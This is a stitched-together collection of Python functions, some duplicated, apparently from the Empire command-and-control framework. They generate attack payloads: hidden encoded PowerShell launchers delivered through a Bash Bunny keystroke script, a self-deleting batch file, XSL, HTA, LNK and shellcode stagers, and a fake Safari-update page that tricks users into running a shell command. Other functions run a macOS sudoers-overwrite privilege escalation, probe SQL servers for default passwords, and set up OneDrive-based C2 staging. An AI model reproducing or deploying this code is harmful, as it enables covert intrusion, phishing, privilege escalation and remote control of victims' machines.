def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): username = params['Username'] password = params['Password'] instance = params['Instance'] no_defaults = params['NoDefaults'] check_all = params['CheckAll'] script_end = "" # read in the common module source code module_source = main_menu.installPath + "/data/module_source/collection/Get-SQLColumnSampleData.ps1" script = "" if obfuscate: data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command) script = module_source.replace("module_source", "obfuscated_module_source") try: f = open(module_source, 'r') except: return handle_error_message("[!] Could not read module source path at: " + str(module_source)) if check_all: aux_module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" if obfuscate: data_util.obfuscate_module(moduleSource=aux_module_source, obfuscationCommand=obfuscation_command) aux_module_source = module_source.replace("module_source", "obfuscated_module_source") try: with open(aux_module_source, 'r') as auxSource: auxScript = auxSource.read() script += " " + auxScript except: print(helpers.color("[!] Could not read additional module source path at: " + str(aux_module_source))) script_end = " Get-SQLInstanceDomain " if username != "": script_end += " -Username "+username if password != "": script_end += " -Password "+password script_end += " | " script_end += " Get-SQLColumnSampleData" if username != "": script_end += " -Username "+username if password != "": script_end += " -Password "+password if instance != "" and not check_all: script_end += " -Instance "+instance if no_defaults: script_end += " -NoDefaults " outputf = params.get("OutputFunction", "Out-String") script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"' if obfuscate: script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command) script += script_end script = data_util.keyword_obfuscation(script) return script
def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""): username = params['Username'] password = params['Password'] instance = params['Instance'] check_all = params['CheckAll'] # read in the common module source code module_source = main_menu.installPath + "/data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1" if main_menu.obfuscate: obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source") if pathlib.Path(obfuscated_module_source).is_file(): module_source = obfuscated_module_source try: with open(module_source, 'r') as f: module_code = f.read() except: return handle_error_message("[!] Could not read module source path at: " + str(module_source)) if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file(): script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand) else: script = module_code if check_all: module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" if obfuscate: data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command) module_source = module_source.replace("module_source", "obfuscated_module_source") try: with open(module_source, 'r') as auxSource: aux_script = auxSource.read() script += " " + aux_script except: print(helpers.color("[!] Could not read additional module source path at: " + str(module_source))) script_end = " Get-SQLInstanceDomain " if username != "": script_end += " -Username "+username if password != "": script_end += " -Password "+password script_end += " | Select Instance | " script_end += " Get-SQLServerLoginDefaultPw" if instance != "" and not check_all: script_end += " -Instance "+instance # Get the random function name generated at install and patch the stager with the proper function name if main_menu.obfuscate: script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand) script += script_end script = data_util.keyword_obfuscation(script) return script
def run_hooks(self, event: str, *args): """ Run all hooks for a hook type. This could be updated to run each hook async. """ if event not in self.hooks: return for hook in self.hooks.get(event, {}).values(): try: hook(*args) except Exception as e: print(helpers.color(f'[!] Hook {hook} failed: {e}'))
def validate_options(self): """ Validate all options for this listener. """ for key in self.options: if self.options[key]["Required"] and (str( self.options[key]["Value"]).strip() == ""): print(helpers.color('[!] Option "%s" is required.' % (key))) return False return True
def validate_options(self): """ Validate all options for this listener. """ for key in self.options: if self.options[key]['Required'] and (str( self.options[key]['Value']).strip() == ''): print(helpers.color("[!] Option \"%s\" is required." % (key))) return False return True
def do_test(self, args): """ An example of a plugin function. Usage: test <start|stop> <message> """ print("This is executed from a plugin!") print(helpers.color("[*] It can even import Empire functionality!")) # Parse arguments from CLI or API if not args: print(helpers.color("[!] Usage: example <start|stop> <message>")) self.status = self.options['Status']['Value'] self.message = self.options['Message']['Value'] print( helpers.color("[+] Defaults: example " + self.status + " " + self.message)) else: self.status = args.split(" ")[0] if self.status == "start": self.calledTimes += 1 print( helpers.color( "[*] This function has been called {} times.".format( self.calledTimes))) print(helpers.color("[*] Message: " + self.message)) else: print(helpers.color("[!] Usage: example <start|stop> <message>"))
def generate(self): # default booleans to false obfuscate_script = False # extract all of our options language = self.options["Language"]["Value"] interpreter = self.options["Interpreter"]["Value"] keyboard = self.options["Keyboard"]["Value"] listener_name = self.options["Listener"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] bypasses = self.options["Bypasses"]["Value"] if self.options["Obfuscate"]["Value"].lower == "true": obfuscate_script = True obfuscate_command = self.options["ObfuscateCommand"]["Value"] # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listener_name, language=language, encode=True, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, bypasses=bypasses, ) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: enc = launcher.split(" ")[-1] bunny_code = "#!/bin/bash\n" bunny_code += "LED R G\n" bunny_code += "source bunny_helpers.sh\n" bunny_code += "ATTACKMODE HID\n" if keyboard != "": bunny_code += "Q SET_LANGUAGE " + keyboard + "\n" bunny_code += "Q DELAY 500\n" bunny_code += "Q GUI r\n" bunny_code += "Q STRING " + interpreter + "\n" bunny_code += "Q ENTER\n" bunny_code += "Q DELAY 500\n" bunny_code += "Q STRING powershell -W Hidden -nop -noni -enc " + enc + "\n" bunny_code += "Q ENTER\n" bunny_code += "LED R G B 200\n" return bunny_code
def validate_options(self): self.uris = [ a.strip('/') for a in self.options['DefaultProfile'] ['Value'].split('|')[0].split(',') ] # If we don't have an OAuth code yet, give the user a URL to get it if (str(self.options['RefreshToken']['Value']).strip() == '') and (str( self.options['AuthCode']['Value']).strip() == ''): if (str(self.options['ClientID']['Value']).strip() == ''): print( helpers.color( "[!] ClientID needed to generate AuthCode URL!")) return "[!] ClientID needed to generate AuthCode URL!" params = { 'client_id': str(self.options['ClientID']['Value']).strip(), 'response_type': 'code', 'redirect_uri': self.options['RedirectURI']['Value'], 'scope': 'files.readwrite offline_access' } req = Request( 'GET', 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params=params) prep = req.prepare() print( helpers.color( "[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url)) return f"[*] Get your AuthCode from \"{prep.url}\" and try starting the listener again." for key in self.options: if self.options[key]['Required'] and (str( self.options[key]['Value']).strip() == ''): print(helpers.color("[!] Option \"%s\" is required." % (key))) return "[!] Option \"%s\" is required." % (key) return True
def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""): """ If you want to support staging for the listener module, generate_agent must be implemented to return the actual staged agent code. """ print( helpers.color( "[!] generate_agent() not implemented for listeners/template")) return ''
def validate_options(self): """ Validate all options for this listener. """ self.uris = [ a.strip('/') for a in self.options['DefaultProfile'] ['Value'].split('|')[0].split(',') ] for key in self.options: if self.options[key]['Required'] and (str( self.options[key]['Value']).strip() == ''): print(helpers.color("[!] Option \"%s\" is required." % (key))) return False # If we've selected an HTTPS listener without specifying CertPath, let us know. if self.options['Host']['Value'].startswith( 'https') and self.options['CertPath']['Value'] == '': print( helpers.color("[!] HTTPS selected but no CertPath specified.")) return False return True
def handle_error_message( msg: str = "", print_to_server: bool = True) -> Tuple[Optional[str], str]: """ Given a reason for a module execution error, print to server and return the message as a tuple back to the modules.py handler to send to the client :param msg: the msg to print :param print_to_server: whether the msg should print to the server :return: tuple of None, str """ if print_to_server: print(helpers.color(msg)) return None, msg
def run_filters(self, event: str, *args): """ Run all the filters for a hook in sequence. The output of each filter is passed into the next filter. """ if event not in self.filters: return for filter in self.filters.get(event, {}).values(): if not isinstance(args, tuple): args = (args, ) try: args = filter(*args) except Exception as e: print(helpers.color(f'[!] Filter {filter} failed: {e}')) return args
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, bypasses: List[str]=None): """ Generate a basic launcher for the specified listener. """ bypasses = [] if bypasses is None else bypasses if not language: print(helpers.color('[!] listeners/template generate_launcher(): no language specified!')) return None if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) launchURI = "%s/%s" % (host, stage0) if language.startswith('po'): # PowerShell return '' if language.startswith('py'): # Python return '' else: print(helpers.color("[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")) else: print(helpers.color("[!] listeners/template generate_launcher(): invalid listener name specification!"))
def validate_options(self): """ Validate all options for this listener. """ self.uris = [ a.strip("/") for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",") ] for key in self.options: if self.options[key]["Required"] and ( str(self.options[key]["Value"]).strip() == "" ): print(helpers.color('[!] Option "%s" is required.' % (key))) return False # If we've selected an HTTPS listener without specifying CertPath, let us know. if ( self.options["Host"]["Value"].startswith("https") and self.options["CertPath"]["Value"] == "" ): print(helpers.color("[!] HTTPS selected but no CertPath specified.")) return False return True
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ If you want to support staging for the listener module, generate_stager must be implemented to return the stage1 key-negotiation stager code. """ print( helpers.color( "[!] generate_stager() not implemented for listeners/template") ) return ''
def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] delete = self.options["Delete"]["Value"] obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] bypasses = self.options["Bypasses"]["Value"] obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the launcher code including escapes for % characters needed for .bat files launcher = self.mainMenu.stagers.generate_launcher( listenerName=listener_name, language=language, encode=True, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, bypasses=bypasses, ).replace("%", "%%") if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: # The start to the batch eliminates the batch file command limit. It was taken from here: # https://www.reddit.com/r/PowerShell/comments/gaa2ip/never_write_a_batch_wrapper_again/ if delete.lower() == "true": # code that causes the .bat to delete itself code = '# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText(\'%~f0\')|iex" & DEL "%~f0" & POPD /B\n' else: code = '# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText(\'%~f0\')|iex" & POPD /B\n' code += launcher + "\n" return code
def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] base64 = self.options["Base64"]["Value"] obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] encode = False if base64.lower() == "true": encode = True obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listener_name, language=language, encode=encode, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, ) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: code = '<?xml version="1.0"?><stylesheet\n' code += 'xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"\n' code += 'xmlns:user="******"\n' code += 'version="1.0">\n' code += '<output method="text"/><ms:script implements-prefix="user" language="JScript">' code += '<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("' code += launcher code += '");]]></ms:script></stylesheet>' return code
def validate_options(self): """ Validate all options for this listener. """ self.uris = [ a.strip('/') for a in self.options['DefaultProfile'] ['Value'].split('|')[0].split(',') ] for key in self.options: if self.options[key]['Required'] and (str( self.options[key]['Value']).strip() == ''): print(helpers.color("[!] Option \"%s\" is required." % (key))) return False return True
def renew_token(client_id, client_secret, refresh_token): params = {'client_id': client_id, 'client_secret': client_secret, 'grant_type': 'refresh_token', 'scope': 'files.readwrite offline_access', 'refresh_token': refresh_token, 'redirect_uri': redirect_uri} try: r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params) r_token = r.json() r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15 r_token['update'] = True return r_token except KeyError as e: print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % ( r.status_code, r.json()['error_codes'], r.json()['error_description']))) raise
def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None): """ Generate the agent code """ if not language: print(helpers.color("[!] listeners/onedrive generate_agent(): No language specified")) return language = language.lower() delay = listener_options['DefaultDelay']['Value'] jitter = listener_options['DefaultJitter']['Value'] profile = listener_options['DefaultProfile']['Value'] lost_limit = listener_options['DefaultLostLimit']['Value'] working_hours = listener_options['WorkingHours']['Value'] kill_date = listener_options['KillDate']['Value'] b64_default_response = base64.b64encode(self.default_response().encode('UTF-8')) if language == 'powershell': f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") agent_code = f.read() f.close() agent_code = data_util.keyword_obfuscation(agent_code) comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language) agent_code = agent_code.replace("REPLACE_COMMS", comms_code) agent_code = helpers.strip_powershell_comments(agent_code) agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) agent_code = agent_code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit)) agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + b64_default_response.decode('UTF-8') + '"') if kill_date != "": agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',") return agent_code
def generate(self): # extract all of our options language = self.options['Language']['Value'] listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] obfuscate = self.options['Obfuscate']['Value'] obfuscate_command = self.options['ObfuscateCommand']['Value'] user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxy_creds = self.options['ProxyCreds']['Value'] stager_retries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listener_name, language=language, encode=encode, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: code = "<?xml version=\"1.0\"?><stylesheet\n" code += "xmlns=\"http://www.w3.org/1999/XSL/Transform\" xmlns:ms=\"urn:schemas-microsoft-com:xslt\"\n" code += "xmlns:user=\"placeholder\"\n" code += "version=\"1.0\">\n" code += "<output method=\"text\"/><ms:script implements-prefix=\"user\" language=\"JScript\">" code += "<![CDATA[var r = new ActiveXObject(\"WScript.Shell\").Run(\"" code += launcher code += "\");]]></ms:script></stylesheet>" return code
def validate_options(self): """ Validate all options for this listener. """ self.uris = [ a.strip("/") for a in self.options["DefaultProfile"] ["Value"].split("|")[0].split(",") ] for key in self.options: if self.options[key]["Required"] and (str( self.options[key]["Value"]).strip() == ""): print(helpers.color('[!] Option "%s" is required.' % (key))) return False return True
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): # the Python script itself, with the command to invoke # for execution appended to the end. Scripts should output # everything to the pipeline for proper parsing. # # the script should be stripped of comments, with a link to any # original reference script included in the comments. listenername = params["Listener"] user_agent = params["UserAgent"] safe_checks = params["SafeChecks"] launcher = main_menu.stagers.generate_launcher( listenername, language="python", userAgent=user_agent, safeChecks=safe_checks, ) if launcher == "": print(helpers.color("[!] Error in launcher generation")) launcher = launcher.replace('"', '\\"') fullPath = params["WriteablePath"] + params["FileName"] fileName = params["FileName"] script = """ import os print("Writing Stager to {filename}...") file = open("{fullpath}","w") file.write("{filecontents}") file.close() print("Attempting to execute stager as root...") try: os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &") print("Successfully ran command, you should be getting an elevated stager") except: print("[!] Could not execute payload!") """.format(fullpath=fullPath, filecontents=launcher, filename=fileName) return script
def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] base64 = self.options["Base64"]["Value"] user_agent = self.options["UserAgent"]["Value"] safe_checks = self.options["SafeChecks"]["Value"] encode = False if base64.lower() == "true": encode = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listenerName=listener_name, language=language, encode=encode, userAgent=user_agent, safeChecks=safe_checks, ) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: launcher = launcher.replace("'", "\\'") launcher = launcher.replace('"', '\\\\"') html = """ <html><head></head><body><H2> Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update</H2> <script> var as = Array(150).join("\\n") + 'do shell script "%s"'; var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); window.onkeydown = function(e) { if (e.keyCode == 91) { window.location = url; } }; </script></body></html> """ % ( launcher ) return html
def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] base64 = self.options["Base64"]["Value"] obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] encode = False if base64.lower() == "true": encode = True obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listenerName=listener_name, language=language, encode=encode, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, ) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: code = "<html><head><script>var c= '" code += launcher.replace("'", "\\'") + "'\n" code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>" return code
def generate(self): # extract all of our options language = self.options["Language"]["Value"] listener_name = self.options["Listener"]["Value"] obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] safe_checks = self.options["SafeChecks"]["Value"] arch = self.options["Arch"]["Value"] msf_format = self.options["MSF_Format"]["Value"] encode = True invoke_obfuscation = False if obfuscate.lower() == "true": invoke_obfuscation = True # generate the launcher code self.launcher = self.main_menu.stagers.generate_launcher( listener_name, language=language, encode=encode, obfuscate=invoke_obfuscation, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, safeChecks=safe_checks, bypasses=self.options["Bypasses"]["Value"], ) if self.launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" shell = self.generate_shellcode(msf_format, arch, self.launcher) return shell
def generate(self): # extract all of our options language = self.options['Language']['Value'] listener_name = self.options['Listener']['Value'] obfuscate = self.options['Obfuscate']['Value'] obfuscate_command = self.options['ObfuscateCommand']['Value'] user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxy_creds = self.options['ProxyCreds']['Value'] stager_retries = self.options['StagerRetries']['Value'] safe_checks = self.options['SafeChecks']['Value'] arch = self.options['Arch']['Value'] msf_format = self.options['MSF_Format']['Value'] encode = True invoke_obfuscation = False if obfuscate.lower() == "true": invoke_obfuscation = True # generate the launcher code self.launcher = self.main_menu.stagers.generate_launcher( listener_name, language=language, encode=encode, obfuscate=invoke_obfuscation, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, safeChecks=safe_checks, bypasses=self.options['Bypasses']['Value']) if self.launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" shell = self.generate_shellcode(msf_format, arch, self.launcher) return shell
def generate(self): # extract all of our options language = "powershell" listener_name = self.options["Listener"]["Value"] base64 = self.options["Base64"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] lnk_comment = self.options["LNKComment"]["Value"] powershell_path = self.options["PowershellPath"]["Value"] lnk_name = self.options["OutFile"]["Value"] lnk_icon = self.options["Icon"]["Value"] encode = False if base64.lower() == "true": encode = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher( listenerName=listener_name, language=language, encode=encode, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, ) launcher = launcher.replace("powershell.exe ", "", 1) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: link = pylnk.for_file(powershell_path, launcher, lnk_name, lnk_icon, lnk_comment) code = link.ret() return code
def onLoad(self): print(helpers.color("[*] Loading Chisel server plugin")) self.main_menu = None self.enabled = False self.socks_connections = {} self.connection_times = {} self.port = None self.chisel_proc = None self.info = { # At the moment this much match the do_ command 'Name': 'chiselserver', 'Author': ['@kevin'], 'Description': ('Chisel server for invoke_sharpchisel module. ' 'Requires: chisel server binaries to be placed in the data/misc directory with ' 'names chiselserver_linux and chiselserver_mac'), 'Software': '', 'Techniques': ['T1090'], 'Comments': ['https://gitlab.com/KevinJClark/invoke-sharpchisel/'] }, self.options = { 'status': { 'Description': '<start/stop/status>', 'Required': True, 'Value': 'start', 'SuggestedValues': ['start', 'stop', 'status'], 'Strict': True }, 'port': { 'Description': 'Port number.', 'Required': True, 'Value': '8080' }, }
def upload_stager(): ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token']) r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"), data=ps_stager, headers={"Content-Type": "application/octet-stream"}) if r.status_code == 201 or r.status_code == 200: item = r.json() r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']), json={"scope": "anonymous", "type": "view"}, headers={"Content-Type": "application/json"}) stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId'] # Different domain for some reason? self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url else: print(helpers.color("[!] Something went wrong uploading stager")) message = r.content signal = json.dumps({ 'print': True, 'message': message }) dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))